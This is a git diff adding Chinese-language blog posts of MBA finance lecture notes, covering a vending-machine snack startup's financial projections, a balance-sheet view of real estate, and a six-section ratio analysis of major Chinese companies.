+张世伟认为，其实财务分析并没有告诉我们企业这些食材源自哪里，如何加工、包装，如果选址店铺，怎样进行产品贩卖。所以，财务分析或者说财务报表本身，它反映的是经济活动规律。虽然财务数据可以总体分析经营模式是什么、怎么样，但却对企业如何进行战略规划与策略设计无能为力，而战略和策略恰恰可以告诉企业方案如何落地。 + +所以，我建议创业者不要把时间浪费在分析别人成功经验和失败教训中，因为你花大量的时间去研究别人走过的路、跳过的坑，学习别人成功的方法和经验，试图绕过别人所经历的那些坎坷，但其实很难，因为大部分别人跳过的坑你还是无法避免、重蹈覆辙。一个企业的发展过程当中，我们兵来将挡、水来土掩，我们进入商学院是来学习解决问题的工具与方法，当碰到问题时，就会迎刃而解。 + +3.7“下酒菜”方案设计 + +![](/uploads/2018/10/29-25.png) + +首先，张世伟要考虑到产品本身，是外购还是自产。其次，销售模式是传统零售还是新零售。 + +另外，进行自我评估，充分发挥混沌大学商学院学员的创新优势，在同行竞争中脱颖而出。 +张世伟通过分析这三点得出以下结论： + +第一，采用自产模式。虽然自产需要办理很多食品安全证件、请大厨烹饪，但是最能够体现“地道下酒菜”的“地道”这个精髓。同时，由于外购食品要加防腐剂、保质期时间长，如果选择资产就可以不加防腐剂、准确识别客群。自产可以加快周转率，因为所有不加防腐剂的产品保质期都非常短。 + +第二，采用“新零售”中自助贩卖销售模式。虽然单一门店也有益处，但是自助贩卖可以更直观接触消费者，统计消费者人数和偏好，有利于企业做品牌推广，让消费者感觉其独有的产品和服务，对产品进行落地。 + +第三，评估自身能力。创业初期，如果团队各自分工、积极做事，头脑风暴、献计献策，那么就可以提高团队效率。但如果创业初期是光杆司令，就得所有事情亲力亲为。例如，为了所处更“地道”的卤菜，张世伟遍寻名厨，了解大厨上班时间，让他们利用空余时间，在9：30之前或者中午闲暇的时间做卤菜。同时，通过不同名厨的不同配方，测试消费者接受程度。 + +在材料上，由于成本高昂，张世伟不打算自行去菜场购买，而是自己采用合作方式，与饭店合作采购。当然，自建中央厨房，采购真空包装机是必然之举。 + +自动贩卖机的优势是全日无休、占地面积小，可以放在人流密集地方，采用多点布局、辐射半径保持在消费者300米范围之内。在日本，自动贩卖机遍地开花，甚至在每个停车场都会有，日本人非常习惯在饭店吃饭时先在自助贩卖机下单及付款。 + +但是，中国自动贩卖机的覆盖率还较低。张世伟通过拜访江苏泰州的贩卖机工厂，一台贩卖机售价25万元，100万仅能买4台。但是老板愿意以每台5000元押金、400元租金包维修形式出租，一年起租。另外，自助贩卖机单台场租费为每月400元、包电费。综上，出租共计400×12+5000+400=10200元。 + +第四，在运营方面，早期运营需要确认自动贩卖机投放点。张世伟充分发挥“颜值即正义”的优点，在洽谈客户时——亲自上阵、逐个击破。在常州计划投入100台自动贩卖机，张世伟选择流量端变现，于是他选择快捷酒店、候车大厅高校宿舍区，这些地方通常都是享受生活的人。高校研究生已经对学校食堂黑暗料理深恶痛绝，所以对下酒菜项目反响热烈。由于是自产模式，所以对于社区、写字楼，服务半径需要在中央厨房辐射20公里范围之内。 + +在制作贩卖机后端，需要配置数据监控系统来做货品调配，保证熟食冷藏保质期在7天到15天之内、不加防腐剂。假定7天作为一次换货周期，以聘请一位大厨、一个送货员为标准，根据实际销量进行人员调整。 + +第五，财务预测方面。以上四个方案均包括运营和投资。运营包含：产品售价多少、单个柜子可以盛放多少菜品、货品的毛利率等。张世伟的毛利率比周黑鸭的65%要高，厨师和配送、销售额所占比重分别为15%。 + +方案一： +货品平均单价25，货品数量20，货品毛利率65%，厨师和配送15%，每月周转4次，货品每月利润=货品每月利润=平均单价×货品数量×（货品毛利率-厨师和配送）×每月周转次数=25×20×（65%-15%）×4=1000（元）。租金800，所以，自助贩卖机每月利润=1000-800=200（元），投放100台，则项目利润=（货品每月利润-租金）×台数=200×100=20000（元）。 + +假定货品一周没能都卖光，预计10%剩余货品，销售额为原来90%，其他的成本和费用如食材成本、厨师和配送成本、租金均不变，则项目利润={（平均单价×货品数量×90%×货品毛利率）-（平均单价×货品数量×厨师和配送）×每月周转次数-租金}×台数-货品未售出损失10%={[（25×20×90%×65%）-（25×20×15%）]×4-800}×100-7000=0（元）。 + +由此可见，10%损毁率导致项目血本无归。所以对于创业者，货品周转次数、货品损毁率至关重要，决定一个项目能否盈利。 + +方案二： +假定周转次数加快50%，4次变成6次，那么项目利润={[25×20×（65%-15%）×6]-800}×100=70000（元）。假定10%损毁率，则最终项目利润计算方式同方案一，为={[（25×20×90%×65%）-（25×20×15%）]×6-800}×100-10500=40000（元） + +方案三：周转10次，项目利润12万。 + +方案四：周转6次，货品数量增加到40，项目利润15万。 + +![](/uploads/2018/10/29-26.png) + +下酒菜项目最终选择方案四，项目总投入=总押金+中央厨房+食材+人工+租金=50+10+21+9+9=99万。以上是张世伟项目最终可能达到的结果，他对于项目很乐观。创业者始终要以十倍的努力、积极乐观的心态，才有可能成功。 + +项目初期投入100万元很拮据，因为经营只能维持1个月，如果这一个月的销售可以达到预期、张世伟能维持10%损毁率，那么他将有15万利润，而如果张世伟有更高的损毁率则会削减利润。在实际经营中，100台机器将会投放在不同地点，会有不同的周转率、损毁率，通过不断的调整投放地点，最终形成项目落地方案。 +  +这个例子告诉我们创业除了要有创业的激情和冲动，还要有“理性”。分析前人的经验对我们也不是全然无帮助，我们会知道传统的方式和创新的方式之间的区别。 + +以上是把我们财务分析的方法与李善友教授第一性原理结合起来，希望大家能够在落地的基础上了解我们要解决什么问题、落地的方法来评估项目可行性，而不是简单地用归纳法——通过看别人创业成功和失败的经验来指导实践。 + +我记得我们混沌商学院有一门新零售的课程，主讲是每日优鲜的CEO徐正，他讲到：当你项目开始前，你除了要做逻辑计算之外，还要做实验，即通过实验来修正你的数据，然后再讨论并分析项目可行性。但是大部分企业在做预算时，主要做产品预算、投资预算、融资预算。主要分为第一部分，产品；第二部分，投资关系；第三部分，融资方案。所以，这个数字最终跟企业家自己的预判，例如项目预期投入100万，似乎是不谋而合。但是实际上，如果企业家深谙100万背后的逻辑构成，可能内心会有些许底数。 + +我们做逻辑分析的目的，就是为了给自己一个底气。正如我之前所说，实际上这个方案融资100万肯定不够，因为100万是对企业经营第一个月销售收入及利润的一场豪赌。但是，方案的本身还有很多灵活性，利润押金，可能100台贩卖机不需要这么多押金。 + +大家也许会觉得该项目数据有很多不合理之处，我们这个项目不是一个商业计划书（Business Plan），实际上是财务规划，也就是产品的销售方案，是商业计划书的数据分析部分，完整的商业计划书（Business Plan）与此会有差别，我们这个项目仅仅是提供理性的思维方式，要想实际操作，我们可能需要更为详细的“尝试”。如果你想做品牌营销、品牌建设，你的销售模式可能要发生变化。 + +3.8 财务管理重要性——落实精准管理 + +实际上一个企业从创业开始，财务管理就有它自己的重要性，我们不仅要规划未来——项目财务预算，也要在财务预算中——落实精准管理。精准管理是我们来检验一笔费用的投入是否合理、是否花到关键点上，标准是项目投入最终是否达成了预期目标。所以，从科学角度，制定预期目标重中之重。 + +资产负债表从财务的角度出发，为企业做运营，包括需要多少投入以展开企业业务，运营的投入在一定的程度上是固定的，但是业务随规模在变化。所以在经济学上，企业的支出为日常经营所需要的投入，与业务规模大小无关，分为固定的部分——固定支出和变动的部分——变动支出。特别要强调的是，变动的部分就是跟规模有关的投入。业务规模扩大，投资增大；反之业务规模缩小，投资减少，这体现了一个企业业务本身的灵活性。 + +在财务管理早期，要给创业者做精准管理的要求。因为，创业初期资金紧张，要把钱用在刀刃上。早期企业很难承受大量的研发及市场推广费用。所以，企业可能需要用比较节省的方式来投流量。所有的创新商业模式，都是用最少的投入去获得最大程度产出，而财务管理在这方面能够给企业提供的指导少之又少。一个企业的创新商业模式来源可能来自其业务开展方向、市场和销售部门拥有的资源。企业要想践行创新商业模式，一定要有资源支持，没有资源企业是没有办法做到在某一个地方的创新。 + +![](/uploads/2018/10/29-27.png) + +也许很多人去阿里巴巴、腾讯、华为学习学习成功经验、商业模式等，但是学成归来后又多了几个阿里巴巴，几个腾讯，几个华为？因为，有太多的东西企业不得其法，这就是一个企业所拥有的资源——只有你拥有一定资源，你才能够以最小投入去获得最大程度的产出。由此可见，当我们的资源很局限时，那么我们一定要通过精准管理获得产出。 + +所以，关于项目选择方案的比较、方案的落地实验，这些都是做项目的前期准备工作以进一步细化我们的方案本身。企业一定要找到好的财务管理人员或咨询公司来做财务分析，这不仅能够帮你看住钱、管好账期。财务的目的是管钱，管钱的重要性在于它能够帮助一个企业生存下来。 + +综上，企业对账期的管理举足轻重。应收账款、应付账款、预收账款，这些关于费用的精准投入，都是一个好的财务管理团队需要具备的素质。创业早期我们就是要精打细算，当然如果我们十分必要一直保持，即在企业整个生命周期都保持精打细算的优良传统，这样才能持久经营。 + +管理学认为，企业一定要把生存当成是一种危机来管理，把生存当作是一个企业的头等大事，在任何时候我们都要精打细算。另外，对于一个好的财务人员来说，他会熟知融资对企业来说是一个常态管理，因为融资有助于企业扩大规模，实现规模经营。作为企业，永远需要以最好的状态来吸引潜在的投资者，因为只有投资者给企业融资，企业才有更多生存下去的机会。一个创业的团队里，如果有三个人，分别做产品、市场和融资，创业成功概率会高一些。 + +![](/uploads/2018/10/29-28.png) + +四、资产负债表法——以房地产行业为例 + +房地产是中国货币之矛，它的金融属性在某种程度超过它的商品属性，这意味着我们很多人买房子，可能不一定完全是自主，而是为了持有等待升值。 + +从个人的角度来讲，老百姓现在不关心何时涨价，而是关心何时降价，下面我们简单的用资产负债表法来跟大家从投资或从产业的角度来回答这个问题。 + +房地产开发周期分为：开发前、开发时、开发后，这里分别记为政府、企业、个人，左边是资产，右边是负债和财富。 + +第一阶段，房地产开发前。政府有地，土地租约待定。假定企业账上有现金20，股东投资记20。个人和家庭一栏先空着，当然首先其必须要有财富才能付首付、买房，所以记财富。 + +第二阶段，房地产开发中。政府卖地，土地租约记100、财富记100。企业需要买地，资产记100，自身只有20，借80。同时，企业支付材料20、施工20，款项先欠着，记欠款40。支付税收40，款项依然欠着，记欠税40。最终，企业毛利20。由此，企业资产共计200。所有者权益方面，记股东20，利润20。 + +第三阶段，房地产投入市场后。个人支付首付60，这个记在房地产开发前。支付后收房，个人拥有房产，记200，其中借款140，自出60。地产公司拿到个人支付的货款后，还借款、还钱、交税，记200-80-40-40=40。这40，在所有者权益记股东20、利润20。政府卖地赚100、税收收到40，财富共计140，记现金140、财富140。 + +![](/uploads/2018/10/29-29.png) + +在房地产开发时，还需要统计银行。银行给企业放贷，资产记80，同时记20存款准备金。负债记100政府存款。房地产开发后，给个人房贷，记贷款140、准备金40；记政府存款140、企业存款40，总计180。 + +综上，房地产开发前，资产=60+20=80；土地开发后，资产=140+40+200+180。 + +![](/uploads/2018/10/29-30.png) + +我想通过房地产这个案例和大家解释GDP的作用，GDP是资产的增值，正如房地产开发到投入这个过程，从伊始到结束，反映了资产整体变化的过程。根据国家统计局统计，我国居民存款增速放缓，老百姓不再愿意将钱存入银行，根源在于老百姓需要用赚来的钱还房贷。另外一些指标，我们的居民赚钱数量和还贷比例，与发达国际基本持平。这说明，其实我们工资比他们低、但是还贷却很高。 + +所以，整个社会的财富格局、资产结构发生了很大变化，不管是政府财富，企业财富，还是个人财富，与二十年前相比，均是天壤之别。中国经济在近十五至二十年间飞速增长，整个社会发生了翻天覆地的变化，房地产发挥了重大作用。尤其在2014年第四季度，我国第三产业即服务业占GDP的比重超过了制造业，房地产的贡献功不可没。在未来，我国第三产业的增速仍然超过第二产业和第一产业，金融服务业对此依然会做出不可估量的贡献。 + +综上，我希望通过资产负债表法分析社会经济现象——房地产行业中的应用，为大家提供更多思考方式，帮助大家建立思维认知，为工作和生活寻找更多可能性。 diff --git a/_posts/2018-10-29-304-xcw05.md b/_posts/2018-10-29-304-xcw05.md new file mode 100644 index 0000000..944d660 --- /dev/null +++ b/_posts/2018-10-29-304-xcw05.md @@ -0,0 +1,246 @@ +--- +layout: post +title: 【财务会计模块】 第5节 六段式表格及其应用 +pid: 304 +tags: [mba] +--- + +《财务管理》第五讲——六段式表格及其应用 + +一、引言 +上一讲中，单教授讲述了第一性原理及资产负债表法在财务管理中的应用，帮助大家建立全新思维认知。本讲中，单教授将通过分析美的集团、万科股份、360等12个企业的案例讲述六段式表格及其应用，帮助大家总结企业特点、分析竞争优势、评估企业风险。 + +二、六段式表格分析 + +六段式表格是通过财务数据来了解企业的规模、资产和负债结构，以及一个企业的盈利规律。盈利规律包括——速度和利润率之间辩证关系。 + +六段式表格在我们在研究企业自身、目标企业、对标企业，包括竞争对手上中下游、别的企业，都可以用到。财务分析有它的好处，是因为我们看企业的时候统一用金额，而不是用业务量，所以它可以帮助我们去分析不同的企业在不同的产业链、不同的行业里面的发展状况。虽然不同的企业用不同的商业模式销售不同的产品，但是因为我们用的是金额来做分析，所以我们可以通过比较不同企业以了解自身企业与其他企业的不同，使我们了解投资人偏好，以及投资人为什么会形成这样的偏好。 + +![](/uploads/2018/10/29-31.png) + +1. 规模分析 + +表格最后一段代表一个企业的规模，总资产、销售收入以及财务指标总资产周转率。总资产周转率指企业投入产出比，即企业投入多少资产，可以带来多少销售额。 + +2. 运营占比分析 + +表格的第一段最后一行是运营占比合计，指一个企业在产品和服务当中的投入，产品和服务称为运营；对企业产品投入的数量、金额、以及周转速度的管理，称为运营管理，即运营资产的投入。运营占比合计是现金占比、应收账票占比、存货占比、预付款占比四个部分的合计数。 + +预付款是企业和供应商之间结算，如果企业在购买原材料的时候需要先付款给供应商，而且跟同行业相比，支付金额比重较大，就说明企业谈判能力较弱。 + +存货，在制造业较为常见，并且有更精细分类，包括材料、在产品、产成品等。同时，一个企业从材料到在产品再到产成品是一个变化的过程。存货占比较大的企业，其运营管理的速度尤为重要，产品的投入可以欠款，但是产品的时间管理是一个企业的主动管理。 + +应收账票包括应收账款、应收票据。应收账款是企业与客户之间的结算，如果结算数字较大，代表企业在上下游客户谈判中，话语权较弱，会造成企业有很多应收账款或账期较长。现金占比是企业现金变化的来源，包括经营活动、投资活动以及融资活动。在分类中，会把现金余额归到经营活动中，等同于企业可以在短期内可以使用这些现金。 + +以上四个项目相加，叫做运营占比合计，分母是总资产。如果运营占比大，就称为轻资产。从表格中12家企业可以看出，出乎意料，万科、茅台均为轻资产。万科最重要的资产是存货（51.3%）、预付款（6.3%），而鲜有应收款（0.1%）。房地产企业的预付款用来买地，存货中包括土地储备。我国土地不可以买卖，我们所交易的是土地租约，所以土地储备为无形资产，而不是固定资产。因此，其实房地产企业买卖的是土地租约和土地上的建筑物，即存货。万科的存货是土地储备、在建及完工的项目，加上预付款，即51.3%+6.3%=57.6%。也就是说，万科将近6成的企业资产投在产品上。 + +茅台是轻资产，企业现金占比65%，茅台不需要用企业自己及股东的钱做运营，因为茅台的品牌价值使得其在卖出产品时，会涨价；将产品放在库房里面隔几年再买，价格更高。所以，经销商去茅台酒厂购买酒的时，会先交预付款。然后，茅台拿着这笔钱去投运营。茅台最主要的优势是现金流，除此以外它有16%的存货，存货是以企业的投入例如原材料、人工、机器设备的折旧来计价。如果一个企业毛利率较低的话，那么存货是以成本来计还是以可能的售价来计差别并不是很大，例如绝味鸭脖，存货乘以1.18的售价。茅台的毛利率是90%，存货是16.4%，1减去90%，就是成本。 + +资产负债表存在一定问题，它是资产以成本计。茅台酒的毛利是90%，成本率是10%，存货是以成本来计。所以，茅台的存货等于存货除以10%，也就是这些货的售价。所以，有很多公司的资产负债表会被低估或高估，原因就在于存货是一个很重要的问题，存货是以成本计，但是在那些高毛利的行业，是折算成售价来计。 + +另外从美的集团案例可以看到，其运营占比合计是43%、投资占比是16.6%，所以它也算轻资产。比亚迪的总资产是1781亿，销售额是1859亿，在汽车行业里面，上汽集团和比亚迪是唯一的两家千亿规模的公司。但是，因为上汽公司的主体是汽车销售公司。上汽股份要归类的话，并不是归制造业，而是归批发行业，它是上汽销售公司。上汽的几家最主要的制造商，上汽大众、上汽通用、通用五菱，没有纳入合并，所以它和比亚迪——一家汽车制造商，行业分类截然不同，所以我没有把上汽的数据拿来做比较。 + +比亚迪的数据中，它有存货、应收款。应收款占比33%，数额较大，但是比亚迪并不担心会坏账，因为比亚迪是把汽车卖给4S店而不是个人消费者。那么，上汽它有汽车金融上汽财务公司，比亚迪有从数据上看不来有财务公司，即使有，也没有发挥作用。它的应收款付款方为4S店，账期相对较长。产业链金融的本质是为了归集产业链上的资金，然后把钱借给4S店和最终的消费者，帮助汽车制造公司更快的回收账款。 + +下面我们来看光明乳业，其运营和投资占比相近，约40%。在光明乳业的数据当中，有预付款、存货、应收款、现金，其中现金占比20%，现金流状况良好。但是，它有经销商的应收账款，数额较大，为11%；采购奶源的预付款，为2.2%。很遗憾，我没有找到伊利——乳制品行业老大的数据来做比较。光明稳坐老三，但是其反超伊利的希望微乎其微，因为伊利过去的数据显示，其应收款及预付款均接近0。所以，伊利账上现金占比应为40%，为光明两倍。光明和伊利的差距主要是规模，是周转率，这与企业上下游的谈判能力密切相关。 + +360公司是借壳上市的，总资产210亿、销售额221亿，不算很大。当360做了分拆，看上去它是一家轻资产公司，账上现金约50%，应收款为11.6%。存货数值较低，为0.5%，因为360的产品只需要很少量的介质投入。 + +中石油，总资产是2.4万亿、销售额是2万亿。如果以资产规模来论，是央企中的第一名。我们对于规模的感受来自于两个：第一，企业自身有没有做到这么大的规模。第二，这个行业里面有没有这么大规模的企业。中石油是一个巨无霸，总资产周转率是0.84，这么大的规模的企业，每年2.4万亿投入，一年能够产生2万亿销售额，非常不易。很遗憾，我没有找到中石化数据，中石化的总资产周转率比中石油更快、效率更高。 + +青岛啤酒的运营占比是40%，和产能投资相近。现金是31%，库存7.7%，应收款（0.6%）和预付款（0.4%）数值很小。青岛啤酒为行业第一，华润第二，燕京第三。但是很遗憾，燕京啤酒数据没有出来，所以没有行业对比企业。 + +在青岛啤酒的数据中，可以明显感受到企业的竞争优势，即预付款、应收款比重较低，现金流比重较大、状况良好。也就是说，青岛啤酒和供应商采购的时，可能可以后付款，销售的时候应收款马上到账，所以给经销商的账期非常短。企业规模做大的原因是企业在产业链有谈判能力，而企业做久的原因是企业的品牌可以给企业带来更多谈判力。 + +3. 投资占比分析 + +六段式表格第二段最后一行是投资占比合计，根据现金流量表的分类，一个企业的投资包括对外股权投资，即表格中倒数第二个数据，股权投资占比。我们可以看到，股权投资比较多的是360，占总资产的比重约21%；万科为7%，由于是合资企业，但是没有参加合并报表的内容。第二段的第一行，固定资产占比，包括设备和厂房；第二行，无形资产占比，包括长期土地租约、专利、专有技术，这两个项目一般是指一个企业的产能。 + +中石油有大量的固定资产，占比36.8%。因为加油站是租来的、设备投入并不多，但是中石油的冶炼、开采需要大量的设备，所以其资产投入很大。中国神华主营煤炭，固定资产为61%。宝钢为冶炼行业，固定资产为47%。光明乳业固定资产为38.6%，包括乳品开发、生产的设备。山东黄金固定资产为50%，包括开矿、冶炼、粗加工的设备。东方航空的固定资产为所有企业之最，因为其固定资产是飞机，200架飞机，每架飞机上有600万个零部件，需要分别计算折旧。综上，像石油、煤炭、钢铁、飞机、黄金等大型工业企业，固定资产占比较大，像美的（9.5%）、比亚迪（26.8%）这种组装企业，固定资产相对较少。 + +无形资产主要包括土地租约、长期土地租约、专利和专有技术等。中国神华的无形资产为采矿权，占比6.7%，。山东黄金同样有采矿权，无形资产占比23.3%。除此以外，比亚迪和美的集团在研发投入后，可能会形成专利和专有技术，这些也属于无形资产。 + +如果企业投资占比大，我们就称为重资产。特别要说明的是，中石油运营占比是15%，投资占比是43%，加起来不到60%，原因在于我在统计这个数据的时候，数据库它给的是一个标准的数据，中石油有一个特殊的资产，油气资产，即中石油购买海外油田的资产，未在统计范围之内。油气资产占总资产比重约34%，加上43%，那么，总投资占比约为78%。于是，中石油是典型的重资产企业，拥有无形资产——开采权。 + +以上是我们针对股东的报告，股东想要了解一个企业的规律。第一个规律是规模，规模的形成与企业的历史数据息息相关，是一个静态的比较，包括总资产销售额，总资产周转率——销售收入除以总资产，指一个企业的投入产出比。 + +第二个规律是资产结构，运营是企业在产品和服务当中的投入，运营占比大的称为轻资产，大部分投资者喜欢轻资产。投资占比大的称为重资产，投资主要包括产能投资和股权投资，产能的投入例如设备、厂房等很难变现，需要通过运营来回收产能的投资。万科是轻资产，当万科盖了房子不是为了拿出来卖而是出租，那就变固定资产或投资性房产了，因为如果通过租金收入来回收成本，资本回收期就会拉长，企业就会变成重资产。 + +东方航空如果改变商业模式，在未来更多的租用飞机，资产结构就会发生变化。但是，要解决中美贸易争端，中国政府需要减少贸易顺差，通过企业采购增加进口额度。所以，对于这些航空运输企业，资产结构重是国家所需——中美贸易争端需要靠它们来平衡。 + +4. 负债占比分析 + +股东与债权人看企业负债的角度截然不同，债权人对一年内或一个营业周期内到期的债务比较敏感，所以债权人要分析流动性，但是股东要分析企业债务的来源。 + +4.1 经营负债 + +在六段式表格第三段中，资产负债率拆分成经营负债和金融负债。经营负债和第一段运营有关系，是指一个企业在投产品的过程当中欠钱，欠钱和一个企业的商业信用，也就是和企业上下游供应商、企业员工的信任度相关。企业经营负债一般不超过运营占比合计。一个企业在投产品的过程当中欠钱，采购的时候形成原材料，欠钱形成应付款，一个有竞争力的企业无论何时都可以欠款。 + +资产负债表，企业在投原材料时欠钱，记应付款。然后，企业投人工，原材料变成在产品，依旧欠钱，记应付款。最有竞争力的企业是一方面投入运营资产，一方面欠供应商钱，同时，欠款等于运营投入。企业可以先收客户的钱，记预收款，预收款为资产，记货币资金。原材料对应付账款，在产品对应付职工薪酬，预收款对应货币资金。最有竞争力的企业是投入多少、欠款多少。也就是说，企业不需要股东给钱来投产品。所以，经营负债占比=经营负债/总资产，它是与六段式表格第一段——运营占比合计来比较的。 + +![](/uploads/2018/10/29-32.png) + +万科，万科在运营中投了72%，运营负债占比为67%，边投边欠，但是万科有一个约束，就是在买地的时候可能要先付钱，在地买来以后抵押给银行去借钱。所以，它的运营投入比负债要高。如果你是做房地产企业的话，我相信大部分地产企业都会学习万科而不是恒大，恒大是走了一条用做金融的手段去做企业的思路。它曾经资产负债率达到94%，94%意味着企业流动性已经到了危急时刻，并且恒大还借了永续债，利息非常高，对企业自身压力巨大。对比万科，其资产负债率同样不低，84%，但是它欠款67%，也就是说，虽然资产负债率高，但只要房子还能卖出去，欠款就可还清。一般企业有可能是欠工程师公司工程款及欠房屋预售给客户的款项，万科更多的欠款来自于客户。 + +世界上最厉害的企业是能够卖东西先获得预收款，就可以进行规模扩张及产品扩张。而且，预收客户的钱是用产品支付，产品变现、交付客户，预收款变成收入。但是企业欠上游的供应商的款项需要付款，所以预收款占比高，其实这对企业有利。 + +下面来看一看预收款占比高的美的集团，其产品投入投了43%，欠钱欠了50%，与我们刚刚提到的“一个企业最厉害的就是投产品的钱，全部都是欠来的”相符合。青岛啤酒也类似，它的产品投入占40.4%，欠钱为41.7%。中石油产品投入占比15%，欠款占比23%。山东黄金，产品投了15%，欠钱欠了33%。上述企业欠款均超过投入，这些企业其实存在经营风险。如果企业投入和欠款相等，才能扶摇直上。企业欠款超过投入意味着企业挪用资产去投产能，购买设备、形成固定资产，投资研发、形成无形资产，购买土地、进行股权投资。但是这些会导致资产的期限错配。 + +有些企业和供应商的决算，欠了供应商的钱，把产品卖掉去还钱，还完以后马上采购，继续欠。由此，供应商可能一直看不到钱，所以对于企业来说它就有一个资金上的优势。一般的企业，如果应付款的周转天数超过了营业周期的话，它就会把钱从产品当中挪用出来去投别的。企业购买设备、投资土地之类是长期投入，回收的时间会很慢，企业会用借钱或者管股东要钱的方式，即以欠来的钱去投，它存在一个期限错配。 + +普通的企业学不来，央企及有品牌的企业可以这么干。一方面，期限错配也会给企业带来很大的风险。我记得青岛啤酒曾经就出过事情，它用这个短期的钱去干并购，钱到期要还了，并购不能马上变现，导致它财务重组。它急需要钱去支付短期到期的债务，因为用短期的钱来做长期的期限错配，可能会给企业带来财务风险。另一方面，这种期盼错配也代表这个企业有资金压力，在产生资金压力的情况之下，挪用产品运营的钱去做投资是最简单的做法，并且还不需要付利息。 + +![](/uploads/2018/10/29-33.png) + +4.2 金融负债 +金融负债是企业向银行借钱，短期借款、长期借款或者一个企业发行债券，合成金融负债，它有成本、要付利息。尽管万科的资产负债率很高，但是金融负债并不高，也就是有成本的钱，占的比重并不大。美的的资产负债率达到了67%，但是借款只有16%，跟万科类似。 + +东方航空的资产负债率是75%。在2007年，东方航空有过一次资不抵债，负债超过资产。这家公司在开股东大会的时候，股东没有办法看懂——一家资不抵债的企业，股权权益应该是0，但是，当时东方航空的股东权益是负数。假设这个企业的负债300亿、资产200亿，股东权益负100亿，这就是东方航空当时的一个情况。它出现这样的情况原因主要是资产出现了一个重要的损失，燃油期货给它带来的损失，使资产发生了缩水，负债是刚性的。律师解读了一下这个报表，正常情况之下我们应该把股东权益做成0，因为股东承担有限责任——《公司法》规定，企业如果是股份有限公司，股东以出资额为限，对企业的债务承担责任。意思就是股东以出资额为限，企业把其本金亏光拉倒。 + +如果股东对企业的债务承担无限责任，这意味着如果企业资不抵债，股东需要帮助企业还债，所以股东这里是负100亿。这一下不得了，东方航空小股民们群情激愤，大呼不公。更荒谬的是，东方航空还有股价，债务在那里交易。当时国资委很有担当，对东方航空做了两件事情。第一，隔年对东方航空做了一次财务重组，给东方航空注资200亿，于是资产和负债正好相等，这就叫财务重组，财务重组目的是让债权人放心。第二，对东方航空做了一次资产重组，将上海航空并给东方航空，上海航空的资产负债率是70%，资产加上去、负债加上去，两家公司一合并，资产比原来多了、负债也比原来也多了，所以东方航空的资产负债率总共降下来了，靠找了一个资产负债率比自己稍微低一点的企业平了一下。 + +但是，东方航空最近还不错，它的资产负债率几乎年年都在下降，现在资产负债率是75%，它从资不抵债到100%到75%，十分不易。在75%当中，航空公司天生的固定资产占比高、资产负债率高，因为买飞机需要借钱，不过现在的飞机制造商也会给客户一些长期付款的组合，所以我们看到买飞机是有一部分是经营债，有一部分是借钱。其实，东方航空的这个组合已经非常优化，它金融负债大概只占到30%，这些债有利息，并且大部分是以美元或者欧元来计价的，汇率在波动当中。 + +青岛啤酒在产业链大规模并购的时候，大概总共并购了44家企业，全部用的是短期的钱，所以导致了它的财务危机。青岛啤酒向百威啤酒发行可转换债券，可转换债以7年为限、没有利息，7年内这些债要转成股权和股票。所以，相当于青岛啤酒向百威融资，但是很长一段时间不算利息，没有利息的话利润表就不至于这么难看，拿着这笔钱去把短期借款还掉，后来又把这些债转成了股，所以在很长一段时间之内，百威就成了青岛啤酒的二股东。财务危机会给企业带来很多改变，青岛啤酒开始思考如何提高周转速度。同时，由于收购很多企业，自身的酿造工艺、品牌都发生了变化，它有一段时间学习百威，发生了很多变化。 + +中石油在央企当中是属于资产负债率非常低的，只有42%，其中金融负债大概只有20%。宝钢的资产负债率永远是50%上下，是我们财务管理书上的教科书式案例。因为大家知道，宝钢的产品是属于周期型的产品，经济周期上行的时候、产品供不应求，经济周期下行的时候、产品就卖不动。周期型指企业的一种盈利模式，是产品的经济属性，周期型的企业就一定要用稳健的融资模式。企业应该尽量少借钱，即使需要也是管股东借。 + +最后，我们总结一下资产和负债之间的关系，我们讲了资产负债表，讲了一个企业在产品和服务上的投入叫运营，产能和股权的投资叫投资。一个企业投运营的时候，可以欠钱；在投产能的时候，需要管股东借钱。从投资者的角度出发，我们需要了解一个企业的资产结构及负债结构来知道一个企业的规律。企业在运营的过程当中能不能欠钱，它其实代表了一个企业是否拥有竞争优势。竞争优势包含两个方面：第一，企业毛利率是否足够高。第二，企业能否向上下游供应商欠钱。如果企业能够先拿客户的钱，那是优势当中的优势。 + +5. 周转速度分析 + +5.1 营业周期 + +表格的第四段讲的是时间，分为企业运营周转速度和投资回收时间。运营就是企业投产品、做产品、卖产品、收回钱需要多少天，叫营业周期。所以，大家看到营业周期的时候，需要和第一段运营占比做一个标记，营业周期是运营预付款，预付款是投产品、存货是做产品、应收款是卖产品，最后是收回钱需要的时间，叫营业周期。营业周期的行业特色比较明显，比如资源型的企业中石油42天、中国神华是50天。所以，资源行业的营业周期一般是60天左右、60天之内。 + +宝钢是做冶炼的，景气好的时候卖的快，景气差的时候卖的慢。另外宝钢还有应收账款，有财务公司。财务公司是产业链金融，主要是用产业链上前面几个行业企业的存款去给后面的企业放贷款。企业链金融的特点通常是给最后的企业去放贷款，这样的话，对于当中的制造商来说，它可以比较快的回收货款。宝钢周转速度是在整个钢铁行业里是很快的，70天-90天。 + +万科周转速度是1200天，相对较慢。房地产企业是靠规模的，它有金融的属性，它的规模来自于杠杆。如果万科它只有一个项目，第一年买地、设计、盖房子，第二年继续盖房子，第三年房子盖完了卖掉了。也就是说，第一年没有利润，全是费用，第二年亦然，直到第三年才开始有利润。所以我们说，利润表必须要覆盖一个营业周期才行，也就是三年，1200天。它至少要有3个项目，次地开工，第一年、第二年、第三年，分别投项目，从第四年开始，每一年都有营业收入。 + +所以，房地产企业如果要每一年都有利润的话，它就必须要次地投入。在万科历史上，1200天的周转速度较慢，但是万科特别有规律。对于地产公司来说，受国家政策影响，是不能控制自己卖楼的速度。例如，北上广深杭的话的地方政府规定，地产项目首先要结构结顶才能预售，这可能会导致企业资金链紧张，而有些三四五线城市也许挖个坑就可以预售。江苏省有一家省内的地产公司，它的营业周期是600天，说明房地产企业的营业周期在拉长，说明房子卖的比较慢。 + +我们再来看比亚迪，刚才大家说比亚迪有财务公司，我在数据上真看不出来，比亚迪的营业周期是237天，做一台车卖给4S店，收回钱，8个月，这个速度太慢了。而上汽是属于商品流通行业，但是那是上汽销售公司，上汽销售公司是负责从制造厂买车进来，卖给4S店，收回钱，营业周期34天。为什么会这么快呢？因为上汽财务公司它可以放贷款给4S店，4S店很快就能把钱给到上汽销售公司。所以，产业链金融存在的意义其实就是提高了当中从贷款给终端的速度，让前面的这些企业快速的收回钱，投入生产。 + 